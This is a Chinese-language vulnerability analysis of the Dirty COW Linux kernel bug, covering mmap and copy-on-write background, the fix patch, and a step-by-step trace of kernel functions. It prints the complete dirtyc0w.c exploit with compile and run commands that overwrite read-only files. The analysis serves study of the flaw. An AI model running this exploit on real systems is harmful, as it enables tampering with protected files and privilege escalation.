代码通常如下,一般会需要两个系统调用:

1
2
read(file, tmp_buf, len);
write(socket, tmp_buf, len);

代码很简单,虽然就两行代码,但是这里面发生了不少的事情。

传统文件传输

首先发生了四次ring0和ring3的上下文切换(两次系统调用,每次系统调用都是先从ring3到ring0,ring0得到结果时再将结果返回给ring3)。而上下文切换到成本并不小,一次切换需要耗时几十纳秒到几微秒,虽然时间看上去很短,但是在高并发的场景下,这类时间容易被累积和放大,从而影响系统的性能。

其次,还发生了 4 次数据拷贝,其中两次是 DMA 的拷贝,另外两次则是通过 CPU 拷贝的,下面说一下这个过程:

  • 第一次拷贝,把磁盘上的数据拷贝到操作系统内核的缓冲区(page cache)里,这个拷贝的过程是通过 DMA 搬运的。
  • 第二次拷贝,把内核缓冲区(page cache)的数据拷贝到用户的缓冲区里,于是我们应用程序就可以使用这部分数据了,这个拷贝到过程是由 CPU 完成的。
  • 第三次拷贝,把刚才拷贝到用户的缓冲区里的数据,再拷贝到内核的 socket 的缓冲区(page cache)里,这个过程依然还是由 CPU 搬运的。
  • 第四次拷贝,把内核的 socket 缓冲区(page cache)里的数据,拷贝到网卡的缓冲区里,这个过程又是由 DMA 搬运的。

这种简单又传统的文件传输方式,存在冗余的上文切换和数据拷贝,在高并发系统里是非常糟糕的,多了很多不必要的开销,会严重影响系统性能。

所以,要想提高文件传输的性能,就需要减少「用户态与内核态的上下文切换」和「内存拷贝」的次数

(2)mmap + write

在前面我们知道,read() 系统调用的过程中会把内核缓冲区的数据拷贝到用户的缓冲区里,于是为了减少这一步开销,我们可以用 mmap() 替换 read() 系统调用函数。

1
2
buf = mmap(file, len);
write(sockfd, buf, len);

mmap() 系统调用函数会直接把内核缓冲区里的数据「映射」到用户空间,这样,操作系统内核与用户空间就不需要再进行任何的数据拷贝操作。

![mmap + write 零拷贝](mmap + write 零拷贝.png)

具体过程如下:

  • 应用进程调用了 mmap() 后,DMA 会把磁盘的数据拷贝到内核的缓冲区(page cache)里。接着,应用进程跟操作系统内核「共享」这个缓冲区;
  • 应用进程再调用 write(),操作系统直接将内核缓冲区(page cache)的数据拷贝到 socket 缓冲区(page cache)中,这一切都发生在内核态,由 CPU 来搬运数据;
  • 最后,把内核的 socket 缓冲区(page cache)里的数据,拷贝到网卡的缓冲区里,这个过程是由 DMA 搬运的。

我们可以得知,通过使用 mmap() 来代替 read(), 可以减少一次数据拷贝的过程。也就是说,使用mmap + write进行文件传输会进行四次上下文切换以及三次数据拷贝。

(3)mmap解析

mmap实际上就是将硬盘文件映射到内存中,也就是内存映射。说的底层一些是将page cache中的页直接映射到用户进程地址空间中,从而进程可以直接访问自身地址空间的虚拟地址来访问page cache中的页,这样会并涉及page cache到用户缓冲区之间的拷贝,mmap系统调用与read/write调用的区别在于:

  • mmap只需要一次系统调用,后续操作不需要系统调用
  • 访问的数据不需要在page cache和用户缓冲区之间拷贝

所以,当频繁对一个文件进行读取操作时,mmap会比read高效一些。

3、内存映射方式与写时复制(COW)

(1)内存映射

内存映射即mmap,mmap有两种映射。

  • 文件映射:将一个文件的一部分直接映射到调用进程的虚拟内存中
  • 匿名映射:一个映射没有对应的文件(也可以理解成一个内容总是被初始化为零的虚拟文件的映射)
(2)写时复制

当多个进程共享相同的内存时,每个进程都可以对其做修改和读取,此时就会出现一致性问题,由此,映射的方法又可以分为共享和私有:

  • 私有映射:在映射内容上发生的变更对其他进程不可见,对于文件映射来说即为不会在物理页面(底层)更改。此时就会利用写时复制技术(COW)来实现,这的写时复制和fork那个写时复制的情景不一样

  • 共享映射:在映射内容上发生的变更会对所有共享同一个映射的其他进程可见

fork场景下的写时复制

传统的fork()系统调用直接把所有的资源复制给新创建的进程。这种实现过于简单并且效率低下,因为它拷贝的数据也许并不共享,更糟的情况是,如果新进程打算立即执行一个新的映像,那么所有的拷贝都将前功尽弃。

Linux的fork()使用写时拷贝(copy-on-write)页实现。写时拷贝是一种可以推迟甚至免除拷贝数据的技术。内核此时并不复制整个进程地址空间,而是让父进程和子进程共享同一个拷贝。只有在需要写入的时候,数据才会被复制,从而使各个进程拥有各自的拷贝。也就是说,资源的复制只有在需要写入的时候才进行,在此之前,只是以只读方式共享。这种技术使地址空间上的页的拷贝被推迟到实际发生写入的时候。

在页根本不会被写入的情况下—举例来说,fork()后立即调用exec()—它们就无需复制了。fork()的实际开销就是复制父进程的页表以及给子进程创建惟一的进程描述符。在一般情况下,进程创建后都会马上运行一个可执行的文件,这种优化可以避免拷贝大量根本就不会被使用的数据(地址空间里常常包含数十兆的数据)。由于Unix强调进程快速执行的能力,所以这个优化是很重要的。这里补充一点:Linux COW与exec没有必然联系

img

私有映射写时复制

这里更加关注于内存数据的共享问题。研究的课题是多个进程共享一块内存,这就不局限于fork的父进程和子进程了,这里的概念会更宽泛一点,可以理解为这个是广义的写时复制。当多个进程共享一块内存时,对该内存的读取当然可以共享,但是一旦对该内存进行写操作时,就一定要区分该内存在进程中的映射是私有映射还是共享映射。当为私有映射时,有写入内存需求的进程会将内容拷贝一份拿到自己的进程空间中,从而对其进行修改。如果为共享映射,则直接修改该共享内存,使得所有映射该内存的进程享受该内存的修改。

漏洞分析

一、补丁分析

补丁链接

image-20220422164944547

这个 patch 主要是重新定义了一个 flag 为 FOLL_COW 来标记该页是一个 COW 页面。在 faultin_page()函数中当 do_wp_page 对某个 COW 页面处理之后返回 VM_FAULT_WRITE 并且该页对应的 vma 属性是不可写的情况,不再是拿掉 FOLL_WRITE 而且设置新的标记 FOLL_COW,表示我这个是 COW 页,因此可以避免上述的竞争关系。此外使用 pte 的 dirty 位来验证 FOLL_COW 的有效性。

二、exp分析(未完成)

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg) {
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg) {
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}

int main(int argc,char *argv[]) {
if (argc<3)return 1;
pthread_t pth1,pth2;
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

编译运行

1
2
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w file string # 这里可以将任意文件修改为任意字符

image-20220426093131936

通过资料查询获得相关函数功能。

  • open: 打开一个文件系统中的文件,返回文件描述符
  • write: 向打开的文件描述符中,写相应的内容
  • fstat: 获得文件描述符指向的文件的更多信息,如文件大小等
  • mmap: 通过文件描述符,将已经打开的文件映射到内存中。当flags的MAP_PRIVATE被置为1时,对mmap得到内存映射进行的写操作会使内核触发COW操作,写的是COW后的内存,不会同步到磁盘的文件中。
  • lseek: 按照偏移更改文件描述符的指针。 原型: off_t lseek(int fd, off_t offset, int whence);
  • madvise:告诉内核内存addr~addr+len在接下来的使用状况,以便内核进行一些进一步的内存管理操作。当advice为MADV_DONTNEED时,此系统调用相当于通知内核addr~addr+len的内存在接下来不再使用,内核将释放掉这一块内存以节省空间,相应的页表项也会被置空。

exp代码总结下来就是启动两个线程

  1. write不断向传入的文件映射的虚拟内存写字符串
  2. madvise不断将文件映射的虚拟内存置为MADV_DONTNEED,也就是抛弃掉。

整个漏洞利用流程大概是

  1. write map。由于首次访问,mmap未申请page cache与磁盘文件做映射,从而页表建立也无从谈起,导致page fault(缺页)。
  2. write map,page fault(语义冲突),发现需要写权限,由于设置了MAP_PRIVATE,触发COW,创建内存副本并将FOLL_WRITE置为0
  3. madivse抛弃掉map,实际上抛弃掉的是COW出的副本。注意此时FOLL_WRITE仍为0.
  4. write map,不需要写权限,直接写入只读文件。

整个流程包含了三次write以及中间的一次madivse,关键点在于FOLL_WRITE置为0并通过一系列构造完成漏洞利用。

接下来我们详细的漏洞分析。

三、漏洞分析

该篇章的一些描述参考自该文章,作者讲得比较详细,推荐大家也可以支持一下。

Dirtycow 程序首先以只读的方式打开一个文件,然后使用 mmap 映射这个文件的内容到用户空间,这里使用 MAP_PRIVATE 映射属性。因此它是一个进程私有的映射,这样 mmap 创建的 VMA 属性就是私有并且只读的,它只设置了 VM_READ,并没有设置 VM_SHARED。VMA 的 flags 标志位中只有 VM_SHARED 标志位,没有 PRIVATE 相关的标志位,因此没设置 VM_SHARED 的就表示这个 VMA 是私有的。利用 mmap 进行的文件映射页面在内核空间是 page cache。主程序创 建了两个线程“madviseThread”和“procselfmemThread”。

(0)函数调用栈

这里先贴一下函数调用栈,方便大家对下面的函数调用关系有比较清晰的认识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mem_write
mem_rw
access_remote_vm
__access_remote_vm
get_user_pages
__get_user_pages_locked
__get_user_pages
follow_page_mask
follow_page_pte
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
do_fault
do_cow_fault
do_set_pte
maybe_mkwrite

(1)第一次write

第一次write,因为用户空间那段内存(dirtycow 程序中 map 指针指向的内存)其实还没有和实际物理页面建立映射关系。(由于page cache没有建立,所以map与page chache,page cache与磁盘内容均未建立联系。所以map对应的页表项也不存在)。所以会触发缺页中断建立page cache,由于没有写权限且私有映射,所以将执行COW操作,在进程中建立对应的page cache

proc_mem_operations

这里的write表示对/proc/self/mem写入,而write这个系统调用,在操作不同的对象时,方法也是不同的。而对/proc/self/mem的操作定义在fs/proc/base.c中,如下

1
2
3
4
5
6
7
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
__access_remote_vm

mem_write经过一系列系统调用达到access_remote_vm来实现访问用户进程的地址空间。

1
2
3
4
5
6
7
8
9
# 函数调用: mem_write() -> mem_rw() -> access_remote_vm() -> __access_remote_vm()

static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
unsigned long addr, void *buf, int len, int write)
{
ret = get_user_pages(tsk, mm, addr, 1, // 调用get_user_pages 获取对应的物理页面
write, 1, &page, &vma);
}
}
__get_user_pages

在知道进程的mm数据结构、虚拟地址addr后就可以获取对应的物理页面了,内核提供 了这样一个 API 函数:get_user_pages()。这里传递给 get_user_pages 的参数是 write=1 和 force=1 以及 page 指针,在后续的函数调用中会转换成 FOLL_WRITE | FOLL_FORCE | FOLL_GET 标 志位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 函数调用: __access_remote_vm() -> get_user_pages() -> __get_user_pages_locked()

static __always_inline long __get_user_pages_locked(...)
{
...
if (pages)
flags |= FOLL_GET;
if (write)
flags |= FOLL_WRITE;
if (force)
flags |= FOLL_FORCE;
...
for (;;) {
ret = __get_user_pages(tsk, mm, start, nr_pages, flags, pages,
vmas, locked);
...
}


# 函数调用: __get_user_pages_locked() -> __get_user_pages()

long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
...
retry:
...
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask); // 获取页表项,这里的start与vma->vm_start是我们exp中的map指针。
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags, // 当获取页表项失败触发错误处理。
nonblocking);
switch (ret) {
case 0:
goto retry; // 如果错误码为0,说明没什么问题,继续重试获取页表项。
...
...
}
EXPORT_SYMBOL(__get_user_pages);

而 FOLL_WRITE | FOLL_FORCE | FOLL_GET 等定义在include/linux/mm.h,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define FOLL_WRITE      0x01    /* check pte is writable */
#define FOLL_TOUCH 0x02 /* mark page accessed */
#define FOLL_GET 0x04 /* do get_page on page */
#define FOLL_DUMP 0x08 /* give error on hole if it would be zero */
#define FOLL_FORCE 0x10 /* get_user_pages read/write w/o permission */
#define FOLL_NOWAIT 0x20 /* if a disk transfer is needed, start the IO
* and return without waiting upon it */
#define FOLL_POPULATE 0x40 /* fault in page */
#define FOLL_SPLIT 0x80 /* don't return transhuge pages, split them */
#define FOLL_HWPOISON 0x100 /* check page is hwpoisoned */
#define FOLL_NUMA 0x200 /* force NUMA hinting page fault */
#define FOLL_MIGRATION 0x400 /* wait for page to replace migration entry */
#define FOLL_TRIED 0x800 /* a retry, previous pass started an IO */
#define FOLL_MLOCK 0x1000 /* lock present pages */

调试中得到对应的gup_flags为0x17,则对应了上面的 FOLL_WRITE | FOLL_FORCE | FOLL_GET | FOLL_TOUCH

FOLL_WRITE :检查pte是否可写。如果为0,则页面不可被写入.

FOLL_FORCE: 忽略权限对强制对用户页进行读写。

follow_page_pte

由于第一次写的时候因为用户空间那段内存(dirtycow 程序中 map 指针指向的内存)其实还没有和实际物理页面建立映射关系,所以 follow_page_mask()函数是不可能返回正确的 page 数据结构的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 函数调用:__get_user_pages() -> follow_page_mask -> follow_page_pte()

static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
...
if (!pte_present(pte)) {
...
if (pte_none(pte)) // 第一次write时由于虚拟内存并未与page建立联系,所以这里的pte为0.
goto no_page;
...
if ((flags & FOLL_WRITE) && !pte_write(pte)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}
...
out:
pte_unmap_unlock(ptep, ptl);
return page;
no_page:
pte_unmap_unlock(ptep, ptl);
if (!pte_none(pte))
return NULL;
return no_page_table(vma, flags);
}
faultin_page

回到__get_user_pages()函数,由于页表获取失败,调用faultin_page函数来创建页表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 函数调用:__get_user_pages()->faultin_page()

static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
...
if (*flags & FOLL_WRITE)
fault_flags |= FAULT_FLAG_WRITE;
...
ret = handle_mm_fault(mm, vma, address, fault_flags); // 处理page fault,这里由于虚拟内存未映射page导致缺页中断
...
/*
* VM_FAULT_WRITE 位告诉我们 do_wp_page 在必要时破坏了 COW,即使 Maybe_mkwrite 决定不设置 pte_write。因此,我们可以安全地进行后续页面查找,就好像它们被读取一样。
但是只有在循环 pte_write 是徒劳的情况下才这样做:在某些情况下,用户空间可能还想写入获取的用户页面,这里的读取错误可能会阻止(只读页面可能会被用户空间写入 reCOWed)。
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
return 0;
}
handle_pte_fault

当页表为空时,调用do_fault来创建页表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 函数调用: faultin_page() -> handle_mm_fault() -> __handle_mm_fault() -> handle_pte_fault()

static int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl;
...
if (!pte_present(entry)) {
if (pte_none(entry)) {
if (vma_is_anonymous(vma))
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
else
return do_fault(mm, vma, address, pte, pmd, // 当页表为空时,调用do_fault来申请页
flags, entry);
}
return do_swap_page(mm, vma, address,
pte, pmd, flags, entry);
}
...
if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry);
}
...
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}
do_fault

do_fault()函数里面有两个重要的判断条件:一个是 FAULT_FLAG_WRITE,另外一个是 VM_SHARED。我们的场景是触发了一个写错误的缺页中断,该页对应的 VMA 是私有映射即 VMA 的属性 vma->vm_flags 没设置 VM_SHARED,见 dirtycow 程序中使用 MAP_PRIVATE 的映射属性,因此跳转到 do_cow_fault 函数中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 函数调用:  handle_pte_fault() -> do_fault()

static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
unsigned int flags, pte_t orig_pte)
{
...
if (!(flags & FAULT_FLAG_WRITE)) // FAULT_FLAG_WRITE 在上面的 faultin_page 函数中已经被置位了,代表的含义为是否是写错误,很显然这里是写错误,所以不进入该分支。do_read_fault直接映射page cache。
return do_read_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
if (!(vma->vm_flags & VM_SHARED)) // 是否为非共享映射,也就是私有映射,这里是私有映射,进入该分支
return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); // 否则为共享映射
}
do_cow_fault

do_cow_fault()会重新分配一个新的页面 new_page,并且调用__do_fault()函数通过文件系 统相关的 API 把 page cache 读到 fault_page 中,然后把文件内容拷贝到新页面 new_page 里。 do_set_pte()函数会使用新页面和虚拟地址重新建立映射关系,最后把 fault_page 释放了。注意 这里 fault_page 是 page cache,new_page 可是匿名页面了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 函数调用: do_fault() -> do_cow_fault()

static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
...
new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); //执行COW, 并更新页表为COW后的页表
...
ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page); // 将page cache读入fault_page。
...
if (fault_page)
copy_user_highpage(new_page, fault_page, address, vma); // 将文件内容拷贝到new_page中,也就是COW复制出来的page。
...
do_set_pte(vma, address, new_page, pte, true, true); // 将new_page与虚拟地址重新建立映射关系,之后释放fault_page。这里的fault_page为page cache。
...
return ret;
uncharge_out:
mem_cgroup_cancel_charge(new_page, memcg);
page_cache_release(new_page);
return ret;
}
do_set_pte

这里利用刚才新分配的页面和 vma 相关属性来生成一个新的页表项 pte entry。

由于是写错误的缺页中断,这里的write为1,page为dirty,所以将pte的dirty位置为1,这里我们要关心maybe代表了什么含义,pte 的 write 比特位为什么不确定呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
// 函数调用: do_cow_fault() -> do_set_pte()

void do_set_pte(struct vm_area_struct *vma, unsigned long address,
struct page *page, pte_t *pte, bool write, bool anon)
{
pte_t entry;

flush_icache_page(vma, page);
entry = mk_pte(page, vma->vm_page_prot); // 利用刚才新分配的页面和 vma 相关属性来生成一个新的页表项 pte entry。
if (write) // 这里的write为1,page为dirty,所以将pte的dirty位置为1,这里我们要关心maybe代表了什么含义,pte 的 write 比特位为什么不确定呢?
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
...
}
maybe_mkwrite

注释给了我们答案:pte entry 中的 WRITE 比特位是否需要置位还需要考虑 VMA 的 vm_flags 属性是否具有可写的属性,如果有可写属性才能设置 pte entry 中的 WRITE 比特位。我们这里的场景是 mmap 通过 只读方式(PROT_READ)映射一个文件,vma->vm_flags 是没有设置 VM_WRITE 这个属性。因此 新页面 new_page 和虚拟地址建立的新的 pte entry 是:dirty 的并且只读的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 函数调用: do_set_pte() -> maybe_mkwrite()

/*
* Do pte_mkwrite, but only if the vma says VM_WRITE. We do this when
* servicing faults for write access. In the normal case, do always want
* pte_mkwrite. But get_user_pages can cause write faults for mappings
* that do not have writing enabled, when used by access_process_vm.
*/
static inline pte_t maybe_mkwrite(pte_t pte, struct vm_area_struct *vma)
{
if (likely(vma->vm_flags & VM_WRITE))
pte = pte_mkwrite(pte);
return pte;
}

梳理一下函数调用(通过缩进来区分函数调用关系)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mem_write
mem_rw
access_remote_vm
__access_remote_vm
get_user_pages
__get_user_pages_locked
__get_user_pages
follow_page_mask
follow_page_pte
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
do_fault
do_cow_fault
do_set_pte
maybe_mkwrite

通过上面的解释,很清楚的了解到,第一次write虽然文件内容已经映射到page cache上面,但是进程的页表还没有建立。当尝试访问该页时,发现页表项位空,从而触发了一个页错误。由于文件的属性位只读且私有映射,所以对其写入会触发COW。分配了一块新的page来建立页表项。

(2)第二次write

get_user_pages会第二次被调用会寻找页表项,follow_page_mask会调用follow_page_pte函数,这个函数会通过flag参数的FOLL_WRITE位是否为1判断要是否需要该页具有写权限,以及通过页表项的VM_WRITE位是否为1来判断该页是否可写。由于Mappedmem是以PROT_READMAP_PRIVATE的的形式进行映射的。所以VM_WRITE为0,又因为我们要求页表项要具有写权限,所以FOLL_WRITE为1,从而导致这次寻页会再次触发一个pagefault,faultin_page会再次调用handle_mm_fault进行处理。

follow_page_pte

当再次执行到follow_page_pte函数时,该 pte entry 的属性是:PRESENT 位被置位,Dirty 位被置位,只读位 RDONLY 也被置位了。因此当判断到传递进来的 flags 标志是可写的,但是实际 pte entry 只是可读属性,那么这里就不会返回正确的 page 结构了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 函数调用:__get_user_pages() -> follow_page_mask -> follow_page_pte()

static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
...
if (!pte_present(pte)) {
...
if (pte_none(pte))
goto no_page;
...
if ((flags & FOLL_WRITE) && !pte_write(pte)) { // 由于pte entry 不可写,所以走入该分支
pte_unmap_unlock(ptep, ptl);
return NULL;
}
...
out:
pte_unmap_unlock(ptep, ptl);
return page;
no_page:
pte_unmap_unlock(ptep, ptl);
if (!pte_none(pte))
return NULL;
return no_page_table(vma, flags);
}
handle_pte_fault

上面 follow_page_pte()返回为 NULL,所以这次为写错误的缺页中断,进入 faultin_page()。之后经过faultin_page() -> handle_mm_fault() -> __handle_mm_fault() -> handle_pte_fault()的函数调用到达了handle_pte_fault函数。

因为这时 pte entry 的状态为:PRESENT =1、DIRTY=1、RDONLY=1,再加上写错误异常,因此根据 handle_pte_fault()函数的判断逻辑跳转到 do_wp_page()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 函数调用: faultin_page() -> handle_mm_fault() -> __handle_mm_fault() -> handle_pte_fault()

static int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl;
...
if (!pte_present(entry)) { // 这里的PRESENT 标志位为1,所以不走这个分支。
if (pte_none(entry)) {
if (vma_is_anonymous(vma))
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
else
return do_fault(mm, vma, address, pte, pmd,
flags, entry);
}
return do_swap_page(mm, vma, address,
pte, pmd, flags, entry);
}
...
if (flags & FAULT_FLAG_WRITE) { // 由于写错误,走入了该分支
if (!pte_write(entry))
return do_wp_page(mm, vma, address, // 执行do_wp_page函数去处理
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry);
}
...
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}
wp_page_reuse

上面调用 do_wp_page() 函数后经过一系列判断后交由 wp_page_reuse() 函数处理。这里依然调用 maybe_mkwrite()尝试置位 pte entry 中 WRITE 比特位,但是因为我们这个 vma 是只读映射的,因此这个尝试没法得逞。pte entry 依然是 RDONLY 和 DIRTY 的。注意这里返回的值是 VM_FAULT_WRITE(很关键)。VM_FAULT_WRITE 在下面的函数中解释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 函数调用: handle_pte_fault() -> do_wp_page() -> wp_page_reuse()

static inline int wp_page_reuse(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *page_table, spinlock_t *ptl, pte_t orig_pte,
struct page *page, int page_mkwrite,
int dirty_shared)
__releases(ptl)
{
...
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
...

return VM_FAULT_WRITE;
}
faultin_page

回到faultin_page函数,由于handle_mm_fault()返回了 VM_FAULT_WRITE,在代码中判断如果ret中VM_FAULT_WRITE被置位且VMA不可写的情况下清除flag的FOLL_WRITE标记。

VM_FAULT_WRITE表示我们尝试写入了old_page但old_page是只读的。同时也表示我们完成了COW的步骤,通过将vma的FOLL_WRITE标志取消,表示我们对new_page的读写将没有限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
...

ret = handle_mm_fault(mm, vma, address, fault_flags);
...

/*
* The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
* necessary, even if maybe_mkwrite decided not to set pte_write. We
* can thus safely do subsequent page lookups as if they were reads.
* But only do so when looping for pte_write is futile: in some cases
* userspace may also be wanting to write to the gotten user page,
* which a read fault here might prevent (a readonly page might get
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
return 0;
}

此时faultin_page函数返回0。回到__get_user_pages函数。

__get_user_pages

调用follow_page_mask 函数,此时foll_flags中的 FOLL_WRITE 标志位0。

1
2
3
4
5
6
7
8
9
10
11
12
13
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
...
retry:
...
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask); // 获取页表项,这里的start与vma->vm_start是我们exp中的map指针。
..
}
EXPORT_SYMBOL(__get_user_pages

(3)madvise与第三次write

__get_user_pages

此时是第三次走到了__get_user_pages 函数,这次的执行与前两次略有不同,在执行cond_resched 函数时,由于madvise线程的介入,madvise(dontneed)系统调用在内核里的 zap_page_range()函数会去解除页的映射关系。

此时回到write的线程,调用follow_page_mask来获取page结构,由于page已经被madvise 线程释放掉了,该page的pte entry不是有效的pte并且PRESENT也没有被置为,所以follow_page_mask返回NULL,触发缺页中断。注意此时FOLL_WRITE已经被置为0了,不需要检查写权限了,所以这里不是写缺页中断而是读缺页中断。

1
2
3
4
5
6
7
8
9
10
11
12
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
...
retry:
...
cond_resched(); // 由于madvise线程的介入,解除了页的映射关系。
page = follow_page_mask(vma, start, foll_flags, &page_mask); // 获取页表项,这里的start与vma->vm_start是我们exp中的map指针。
..
}
handle_pte_fault

这里判断了缺页的类型,由于该页的 pte entry 不是有效的、PRESENT 位也没被置位,所以跟入do_fault 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 函数调用: faultin_page() -> handle_mm_fault() -> __handle_mm_fault() -> handle_pte_fault()

static int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl;
...
if (!pte_present(entry)) { // 这里的PRESENT 标志位为0,走入该分支
if (pte_none(entry)) { // pte entry失效,走入该分支
if (vma_is_anonymous(vma))
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
else
return do_fault(mm, vma, address, pte, pmd, // 跟进
flags, entry);
}
return do_swap_page(mm, vma, address,
pte, pmd, flags, entry);
}
...
if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry);
}
...
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}
do_read_fault

由于是读错误缺页中断,所以跳转到do_read_fault 函数。这里直接将文件的内容映射到page chae中。(注意之前madvise 释放的是处理cow过程中产生的匿名page)。这样一个可写的page cache已经新鲜出炉了!,之后在__get_user_pages 函数在做一次retry就可以正确的返回该页的page结构了,之后使用kmap重新映射然后写入想要的内容将该页dirty,系统回写机制会将内容写入到这个只读文件中,整个流程完成了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 函数调用: handle_pte_fault() -> do_fault() -> do_read_fault()

static int do_read_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
...
ret = __do_fault(vma, address, pgoff, flags, NULL, &fault_page);
...
pte = pte_offset_map_lock(mm, pmd, address, &ptl);
...
do_set_pte(vma, address, fault_page, pte, false, false);
...
return ret;
}

四、总结

详细总结

dirtycow 程序目的是要写一个只读文件的内容(vma -> flags 为只读属性),由于 page cache 的机制,写的是文件对应的page cache。

